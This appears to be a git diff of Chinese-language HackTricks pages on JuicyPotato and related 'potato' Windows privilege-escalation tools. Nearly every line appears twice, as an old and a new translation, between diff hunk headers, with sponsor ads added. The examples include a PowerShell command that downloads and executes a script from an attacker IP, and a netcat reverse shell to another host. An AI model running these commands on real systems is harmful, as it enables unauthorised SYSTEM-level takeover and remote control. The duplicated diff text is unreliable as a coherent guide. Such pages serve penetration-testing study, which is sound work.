[roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md)
{% endcontent-ref %}
## Juicy Potato滥用黄金特权 <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
## Juicy Potato滥用黄金权 <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_一个经过改进的_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_带有一点果汁即**另一个本地权限提升工具从Windows服务账户提升到NT AUTHORITY\SYSTEM**_
_带有一点果汁的_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_的糖化版本即**另一个本地权限提升工具从Windows服务帐户提升到NT AUTHORITY\SYSTEM**_
#### 您可以从[https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)下载JuicyPotato
### 摘要 <a href="#summary" id="summary"></a>
**[从JuicyPotato自述文件中了解](https://github.com/ohpe/juicy-potato/blob/master/README.md):**
[**从juicy-potato自述文件中**](https://github.com/ohpe/juicy-potato/blob/master/README.md)****
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)及其[变体](https://github.com/decoder-it/lonelypotato)利用基于[`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx)的特权升级链[服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)在`127.0.0.1:6666`上具有MiTM监听器当您拥有`SeImpersonate`或`SeAssignPrimaryToken`权时。在Windows构建审查期间我们发现了一个设置其中`BITS`被故意禁用,端口`6666`被占用。
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)及其[变体](https://github.com/decoder-it/lonelypotato)利用基于[`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)的特权升级链,在`127.0.0.1:6666`上具有MiTM监听器并且当您拥有`SeImpersonate`或`SeAssignPrimaryToken`权时。 在Windows构建审查期间我们发现了一个设置其中`BITS`被故意禁用,端口`6666`被占用。
我们决定武化[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)**欢迎Juicy Potato**。
我们决定武化[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)**欢迎Juicy Potato**。
> 欲了解理论,请参阅[Rotten Potato - 从服务账户提升到SYSTEM的特权提升](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/),并跟随链接和参考链。
> 有关理论,请参阅[Rotten Potato - 从服务帐户提升到SYSTEM的特权提升](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/),并跟随链接和引用链。
我们发现,除了`BITS`还有一些COM服务器可以被滥用。它们只需要:
我们发现,除了`BITS`之外还有几个COM服务器可以滥用。 它们只需要:
1. 能够由当前用户实例化,通常是具有模拟特权的“服务用户”
1. 可以由当前用户(通常是具有模拟权限的“服务用户”)实例化
2. 实现`IMarshal`接口
3. 作为提升用户SYSTEM、管理员等运行
@ -48,19 +62,18 @@ _一个经过改进的_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotte
JuicyPotato允许您
* **目标CLSID** _选择任何您想要的CLSID。_ [_这里_](http://ohpe.it/juicy-potato/CLSID/) _您可以找到按操作系统组织的列表。_
* **COM监听端口** _定义您喜欢的COM监听端口而不是硬编码6666_
* **目标CLSID** _选择任何您想要的CLSID。_ [_在此_](http://ohpe.it/juicy-potato/CLSID/) _您可以找到按操作系统组织的列表。_
* **COM监听端口** _定义您喜欢的COM监听端口而不是已编组的硬编码6666_
* **COM监听IP地址** _将服务器绑定到任何IP_
* **进程创建模式** _根据模拟用户的您可以选择_
* **进程创建模式** _根据模拟用户的权您可以选择_
* `CreateProcessWithToken`(需要`SeImpersonate`
* `CreateProcessAsUser`(需要`SeAssignPrimaryToken`
* `两者`
* `both`
* **要启动的进程** _如果利用成功启动可执行文件或脚本_
* **进程参数** _自定义启动进程参数_
* **RPC服务器地址** _用于隐蔽操作您可以对外部RPC服务器进行身份验证_
* **RPC服务器端口** _如果您想要对外部服务器进行身份验证且防火墙阻止端口`135`这将很有用…_
* **测试模式** _主要用于测试目的即测试CLSID。它创建DCOM并打印令牌的用户。查看_ [_这里进行测试_](http://ohpe.it/juicy-potato/Test/)
* **RPC服务器地址** _用于隐蔽的方法您可以对外部RPC服务器进行身份验证_
* **RPC服务器端口** _如果要对外部服务器进行身份验证且防火墙阻止端口`135`则很有用…_
* **测试模式** _主要用于测试目的即测试CLSID。 它创建DCOM并打印令牌的用户。请参见_ [_此处进行测试_](http://ohpe.it/juicy-potato/Test/)
### 用法 <a href="#usage" id="usage"></a>
```
T:\>JuicyPotato.exe
@ -80,19 +93,19 @@ Optional args:
```
### 总结 <a href="#final-thoughts" id="final-thoughts"></a>
**[来自 juicy-potato 说明文档](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts):**
[**来自 juicy-potato 说明文档**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
如果用户具有 `SeImpersonate``SeAssignPrimaryToken` 特权,则您将成为 **SYSTEM**
几乎不可能止所有这些 COM 服务器的滥用。您可以考虑通过 `DCOMCNFG` 修改这些对象的权限,但祝好运,这将是具有挑战性的。
几乎不可能止所有这些 COM 服务器的滥用。您可以考虑通过 `DCOMCNFG` 修改这些对象的权限,但祝好运,这将是具有挑战性的。
实际解决方案是保护在 `* SERVICE` 帐户下运行的敏感帐户和应用程序。停止 `DCOM` 肯定会阻止此漏洞利用,但可能会对底层操作系统产生严重影响。
来源: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
来源[http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
##
## 例
注意: 访问 [此页面](https://ohpe.it/juicy-potato/CLSID/) 查看要尝试的 CLSID 列表。
注意:访问[此页面](https://ohpe.it/juicy-potato/CLSID/)查看要尝试的 CLSID 列表。
### 获取 nc.exe 反向 shell
```
@ -107,17 +120,17 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
c:\Users\Public>
```
### Powershell 反向 shell
### Powershell 反向 Shell
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
### 启动新的CMD如果您有RDP访问权限
![](<../../.gitbook/assets/image (37).png>)
![](<../../.gitbook/assets/image (297).png>)
## CLSID 问题
## CLSID问题
通常情况下JuicyPotato使用的默认CLSID**无法正常工作**,导致利用失败。通常需要多次尝试才能找到一个**有效的CLSID**。要获取针对特定操作系统尝试的CLSID列表您应该访问此页面
通常情况下JuicyPotato使用的默认CLSID**无法正常工作**,导致利用失败。通常需要多次尝试才能找到**有效的CLSID**。要获取特定操作系统尝试的CLSID列表您应该访问此页面
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
@ -129,19 +142,32 @@ c:\Users\Public>
然后下载[test\_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(更改路径到CLSID列表和juicypotato可执行文件)并执行它。它将开始尝试每个CLSID**当端口号更改时表示CLSID有效**。
**使用参数 -c 检查**有效的CLSID
**使用参数-c检查**有效的CLSID
## 参考资料
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司** 或者想要访问**PEASS的最新版本或下载HackTricks的PDF** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向**hacktricks repo**和**hacktricks-cloud repo**提交PR来**分享您的黑客技巧**。
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f)或[**电报群**](https://t.me/peass)或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
</details>

View file

@ -6,16 +6,30 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想看到您的**公司在HackTricks中广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
{% hint style="warning" %}
**JuicyPotato在Windows Server 2019和Windows 10版本1809及更高版本上无法使用**。但是,[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)****[**RoguePotato**](https://github.com/antonioCoco/RoguePotato)****[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)****[**GodPotato**](https://github.com/BeichenDream/GodPotato)可以用来**获取相同的权限并获得`NT AUTHORITY\SYSTEM`**级别的访问权限。这篇[博文](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)深入介绍了`PrintSpoofer`工具该工具可用于在JuicyPotato不再适用的Windows 10和Server 2019主机上滥用模拟权限。
**JuicyPotato在Windows Server 2019和Windows 10版本1809及更高版本上无法使用**。然而[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)****[**RoguePotato**](https://github.com/antonioCoco/RoguePotato)****[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)****[**GodPotato**](https://github.com/BeichenDream/GodPotato) 可以用于**利用相同权限并获得`NT AUTHORITY\SYSTEM`**级别访问权限。这篇[博文](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)深入介绍了`PrintSpoofer`工具该工具可用于在JuicyPotato不再适用的Windows 10和Server 2019主机上滥用模拟权限。
{% endhint %}
## 快速演示
@ -78,16 +92,28 @@ GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
* [https://github.com/bugch3ck/SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato)
* [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式:
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>